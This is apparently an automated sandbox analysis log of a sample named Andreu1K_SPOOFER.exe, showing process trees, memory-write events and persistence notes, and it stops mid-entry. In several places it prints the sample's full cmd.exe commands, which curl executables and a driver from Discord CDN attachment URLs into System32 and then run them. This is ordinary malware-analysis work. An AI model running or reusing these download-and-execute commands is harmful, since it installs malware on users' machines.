PID 4840 wrote to memory of 4552	4840	Andreu1K_SPOOFER.exe	72
PID 4840 wrote to memory of 4488	4840	Andreu1K_SPOOFER.exe	73
PID 4840 wrote to memory of 4488	4840	Andreu1K_SPOOFER.exe	73
PID 4840 wrote to memory of 4148	4840	Andreu1K_SPOOFER.exe	74
PID 4840 wrote to memory of 4148	4840	Andreu1K_SPOOFER.exe	74
PID 4840 wrote to memory of 1508	4840	Andreu1K_SPOOFER.exe	75
PID 4840 wrote to memory of 1508	4840	Andreu1K_SPOOFER.exe	75
PID 4840 wrote to memory of 32	4840	Andreu1K_SPOOFER.exe	76
PID 4840 wrote to memory of 32	4840	Andreu1K_SPOOFER.exe	76
PID 4840 wrote to memory of 2304	4840	Andreu1K_SPOOFER.exe	77
PID 4840 wrote to memory of 2304	4840	Andreu1K_SPOOFER.exe	77
PID 4840 wrote to memory of 1116	4840	Andreu1K_SPOOFER.exe	78
PID 4840 wrote to memory of 1116	4840	Andreu1K_SPOOFER.exe	78
PID 4840 wrote to memory of 4844	4840	Andreu1K_SPOOFER.exe	79
PID 4840 wrote to memory of 4844	4840	Andreu1K_SPOOFER.exe	79
PID 4840 wrote to memory of 1568	4840	Andreu1K_SPOOFER.exe	80
PID 4840 wrote to memory of 1568	4840	Andreu1K_SPOOFER.exe	80
PID 4840 wrote to memory of 2120	4840	Andreu1K_SPOOFER.exe	81
PID 4840 wrote to memory of 2120	4840	Andreu1K_SPOOFER.exe	81
PID 4840 wrote to memory of 3936	4840	Andreu1K_SPOOFER.exe	84
PID 4840 wrote to memory of 3936	4840	Andreu1K_SPOOFER.exe	84
PID 4840 wrote to memory of 5116	4840	Andreu1K_SPOOFER.exe	88
PID 4840 wrote to memory of 5116	4840	Andreu1K_SPOOFER.exe	88
PID 4840 wrote to memory of 2016	4840	Andreu1K_SPOOFER.exe	89
PID 4840 wrote to memory of 2016	4840	Andreu1K_SPOOFER.exe	89
PID 4840 wrote to memory of 3788	4840	Andreu1K_SPOOFER.exe	90
PID 4840 wrote to memory of 3788	4840	Andreu1K_SPOOFER.exe	90
PID 4840 wrote to memory of 2540	4840	Andreu1K_SPOOFER.exe	91
PID 4840 wrote to memory of 2540	4840	Andreu1K_SPOOFER.exe	91
PID 4984 wrote to memory of 4436	4984	MicrosoftEdgeCP.exe	87
PID 4984 wrote to memory of 4436	4984	MicrosoftEdgeCP.exe	87
PID 4984 wrote to memory of 4436	4984	MicrosoftEdgeCP.exe	87
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 4284 wrote to memory of 2176	4284	firefox.exe	104
PID 2176 wrote to memory of 3808	2176	firefox.exe	105
PID 2176 wrote to memory of 3808	2176	firefox.exe	105
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106
PID 2176 wrote to memory of 2764	2176	firefox.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Andreu1K_SPOOFER.exe
"C:\Users\Admin\AppData\Local\Temp\Andreu1K_SPOOFER.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1159182854668951642/1159982057099903016/Windows_Virus_Protection.exe --output C:\Windows\System32\Windows_Virus_Protection.exe >nul 2>&1
  2⤵
  PID:4148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\System32\Windows_Virus_Protection.exe
  2⤵
  PID:1508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:32
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1159182854668951642/1159513447667617832/andreu1k_woofer.exe --output C:\Windows\System32\andreu1k_woofer.exe >nul 2>&1
  2⤵
  PID:2304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1148730787915640863/1157457769847324742/fortnite-driver.sys --output C:\Windows\System32\fortnite-driver.sys >nul 2>&1
  2⤵
  PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1148730787915640863/1157457770380021841/map_driver.exe --output C:\Windows\System32\map_driver.exe >nul 2>&1
  2⤵
  PID:4844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\System32\andreu1k_woofer.exe
  2⤵
  PID:1568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://discord.gg/5f4vgCRaNY
  2⤵
  - Checks computer location settings
  PID:2120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2540

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4520

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4156

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4008

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4436

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5032

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1196

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:2636

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4240

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:324

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:2576

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.0.724712622\878955344" -parentBuildID 20221007134813 -prefsHandle 1712 -prefMapHandle 1704 -prefsLen 20936 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f375c40-590d-4402-91c2-3cb583adaf2e} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 1792 165a6aeed58 gpu
    3⤵
    PID:3808
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.1.706011586\1766204237" -parentBuildID 20221007134813 -prefsHandle 2112 -prefMapHandle 2108 -prefsLen 21017 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e81d7ddc-30ca-4a0c-b037-0b2ecdef6e8f} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 2148 165a65f1258 socket
    3⤵
    PID:2764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.2.372198298\501015598" -childID 1 -isForBrowser -prefsHandle 2812 -prefMapHandle 2952 -prefsLen 21120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2bbb27f0-c5f6-4c33-9a76-e769d6ff846d} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 2928 165aaab1858 tab
    3⤵
    PID:4892
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.3.495784961\1144184023" -childID 2 -isForBrowser -prefsHandle 3684 -prefMapHandle 3680 -prefsLen 26480 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb53bb3c-96d5-4540-bc1c-a98417dda9be} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 3696 1659b662558 tab
    3⤵
    PID:2620
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.4.1653598123\565073210" -childID 3 -isForBrowser -prefsHandle 3860 -prefMapHandle 3856 -prefsLen 26480 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9e80c02e-982b-452c-abb7-9e0de305c79a} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 3868 1659b65fb58 tab
    3⤵
    PID:1116
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.5.642391610\752081865" -childID 4 -isForBrowser -prefsHandle 4728 -prefMapHandle 4760 -prefsLen 26620 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {791e9c0d-39bf-4b80-a5a3-40b46b7e8e03} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 4808 165aa2f3b58 tab
    3⤵
    PID:4484
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.7.1472304882\12602322" -childID 6 -isForBrowser -prefsHandle 5124 -prefMapHandle 5128 -prefsLen 26620 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {45ee8fbf-fa36-446f-9e7d-b7f8d9d8ec6d} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 5012 165acae9c58 tab
    3⤵
    PID:4348
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.6.742507987\1350754589" -childID 5 -isForBrowser -prefsHandle 4928 -prefMapHandle 4932 -prefsLen 26620 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {36b6d2f9-4135-4e51-b7b2-c0378b8022b6} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 4820 165acae8158 tab
    3⤵
    PID:4568
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.8.655094316\1981326046" -childID 7 -isForBrowser -prefsHandle 5492 -prefMapHandle 5188 -prefsLen 26964 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {863725e2-3274-42d4-bba9-c8ae0fd32725} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 5544 165a8f51358 tab
    3⤵
    PID:2168
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.9.242100935\2131659486" -childID 8 -isForBrowser -prefsHandle 4192 -prefMapHandle 4652 -prefsLen 28071 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a21902a-f86f-4090-b42f-82a1db71118e} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 5532 165a8f83d58 tab
    3⤵
    PID:1636
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.10.764030157\881957573" -childID 9 -isForBrowser -prefsHandle 3940 -prefMapHandle 3956 -prefsLen 28071 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {46ae666c-87d0-4061-a6d7-a8acdf56ea7e} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 3928 165abf79b58 tab
    3⤵
    PID:2012
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.12.317771587\148357419" -childID 11 -isForBrowser -prefsHandle 9340 -prefMapHandle 9336 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {317dfab0-42ea-4b42-8dda-80b3a6274bf6} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 9348 165addf3e58 tab
    3⤵
    PID:1628
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.11.1231961701\232946630" -childID 10 -isForBrowser -prefsHandle 9820 -prefMapHandle 9812 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {525fec0e-feac-439d-bebe-810272b0c4d2} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 9800 165ab8ad158 tab
    3⤵
    PID:4908
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.13.1046148033\778705270" -childID 12 -isForBrowser -prefsHandle 6184 -prefMapHandle 6248 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {20122b83-f538-4ee2-b440-adfd569972dc} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 6176 165b1bf2f58 tab
    3⤵
    PID:4484
- - C:\Users\Admin\Downloads\Andreu1K_SPOOFER.exe
    "C:\Users\Admin\Downloads\Andreu1K_SPOOFER.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:5140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:5876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:6644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:6096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1159182854668951642/1159982057099903016/Windows_Virus_Protection.exe --output C:\Windows\System32\Windows_Virus_Protection.exe >nul 2>&1
      4⤵
      PID:6472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\System32\Windows_Virus_Protection.exe
      4⤵
      PID:7480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1159182854668951642/1159513447667617832/andreu1k_woofer.exe --output C:\Windows\System32\andreu1k_woofer.exe >nul 2>&1
      4⤵
      PID:7536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1148730787915640863/1157457769847324742/fortnite-driver.sys --output C:\Windows\System32\fortnite-driver.sys >nul 2>&1
      4⤵
      PID:7556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1148730787915640863/1157457770380021841/map_driver.exe --output C:\Windows\System32\map_driver.exe >nul 2>&1
      4⤵
      PID:7568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\System32\andreu1k_woofer.exe
      4⤵
      PID:7580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start https://discord.gg/5f4vgCRaNY
      4⤵
      PID:7652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:7112
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.16.1637916412\199768342" -childID 15 -isForBrowser -prefsHandle 9340 -prefMapHandle 6384 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1b5e8910-2809-44ea-ad50-5915d7890069} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8720 165b1ec8858 tab
    3⤵
    PID:5200
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.15.1022920158\1629935718" -childID 14 -isForBrowser -prefsHandle 8788 -prefMapHandle 8792 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f0bb4567-6f83-4d85-ba6d-92b3aa5a96d4} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8704 165b1ec5258 tab
    3⤵
    PID:5188
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.14.880398498\38930703" -childID 13 -isForBrowser -prefsHandle 9168 -prefMapHandle 6264 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d016145f-ee48-4d87-9aea-9bfb14859e45} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8720 165b0d38b58 tab
    3⤵
    PID:5180
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.17.929122653\315963828" -childID 16 -isForBrowser -prefsHandle 8312 -prefMapHandle 8308 -prefsLen 28111 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {56f6b9fb-6497-46ba-9507-6b0bb7f362fc} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8808 165b212c658 tab
    3⤵
    PID:5340
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.19.1782553772\805868903" -childID 18 -isForBrowser -prefsHandle 7940 -prefMapHandle 7936 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b358fb2f-8b0d-4c6d-9790-ff8cbce8d992} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8412 165b212b758 tab
    3⤵
    PID:5460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.20.1363498491\1756259960" -childID 19 -isForBrowser -prefsHandle 7768 -prefMapHandle 7772 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a644c85-a37d-4f1d-bc78-23117dec2497} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8816 165b25ec858 tab
    3⤵
    PID:5476
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.18.14330438\1440340467" -childID 17 -isForBrowser -prefsHandle 8396 -prefMapHandle 8388 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f30cfe1d-132e-40a5-9780-30ac464a00bf} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 8164 165b2171758 tab
    3⤵
    PID:5440
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.22.726044499\2073889588" -childID 21 -isForBrowser -prefsHandle 7268 -prefMapHandle 7272 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e3756e3c-a0d9-4b8c-b348-aba8f9fe30fe} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 7260 165a8f83458 tab
    3⤵
    PID:5320
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.21.42273501\2020676660" -childID 20 -isForBrowser -prefsHandle 7332 -prefMapHandle 7336 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6832ebf8-b109-4270-a912-f9a16f27514d} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 7324 165ad95d058 tab
    3⤵
    PID:5148
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.23.754828935\791355987" -childID 22 -isForBrowser -prefsHandle 7004 -prefMapHandle 7008 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7b5f4518-ae49-4d11-ac4b-9e887cbb4c80} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 7048 165af972758 tab
    3⤵
    PID:6176
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.24.755632127\810475061" -childID 23 -isForBrowser -prefsHandle 6956 -prefMapHandle 6960 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b69f63e1-2f78-466c-9292-78ed9d5f0e71} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 7332 165b0b97058 tab
    3⤵
    PID:6304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2176.25.1858856395\1103589453" -childID 24 -isForBrowser -prefsHandle 6748 -prefMapHandle 6752 -prefsLen 28120 -prefMapSize 232675 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {aabd85ee-9708-4bdb-bb48-83bcbf227c50} 2176 "\\.\pipe\gecko-crash-server-pipe.2176" 6740 165afada158 tab
    3⤵
    PID:6588
- - C:\Program Files\Mozilla Firefox\firefox.exe
